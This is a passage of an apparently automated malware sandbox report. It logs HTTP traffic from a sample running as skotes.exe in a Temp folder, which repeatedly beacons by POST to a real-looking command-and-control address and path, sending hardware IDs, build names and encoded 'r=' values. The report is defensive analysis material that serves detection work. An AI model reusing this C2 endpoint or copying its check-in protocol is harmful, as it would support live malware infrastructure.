44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="hwid"3E4F2FB390603810289448------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="build"tale------HIDHIEGIIIECAKEBFBAA--
Oct 31, 2024 20:54:38.572475910 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:54:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50178	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:37.758151054 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 39 38 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002980001&unit=246122658369
Oct 31, 2024 20:54:38.690815926 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50180	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:40.332161903 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:41.261759043 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50181	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:42.780141115 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:43.746247053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50182	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:45.366681099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:46.333462000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50183	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:47.848074913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:48.786236048 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50184	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:50.437202930 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:51.368391037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50185	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:52.891047001 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:53.960148096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50186	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:55.582525969 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:54:56.518408060 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50187	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:54:58.040307999 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:54:59.012073994 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:54:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50188	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:00.635138988 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:01.586642027 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50189	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:03.114567041 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:04.069988012 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50190	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:05.682406902 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:06.637219906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50191	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:08.683573961 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:09.620938063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50192	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:11.252798080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:12.189565897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50193	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:13.709166050 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:14.663330078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50194	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:16.283118963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:17.724047899 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 31, 2024 20:55:17.725667000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 31, 2024 20:55:17.726749897 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50195	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:19.272581100 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:20.240760088 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50196	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:21.859267950 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:22.787118912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50197	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:24.305630922 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:25.261421919 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50198	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:26.902452946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:27.858944893 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50199	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:29.388782024 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 32 32 39 37 34 42 37 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB22974B75E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 20:55:30.367327929 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	50200	185.215.113.43	80	1748	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 20:55:32.003664970 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 20:55:32.965805054 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 19:55:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	50201	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
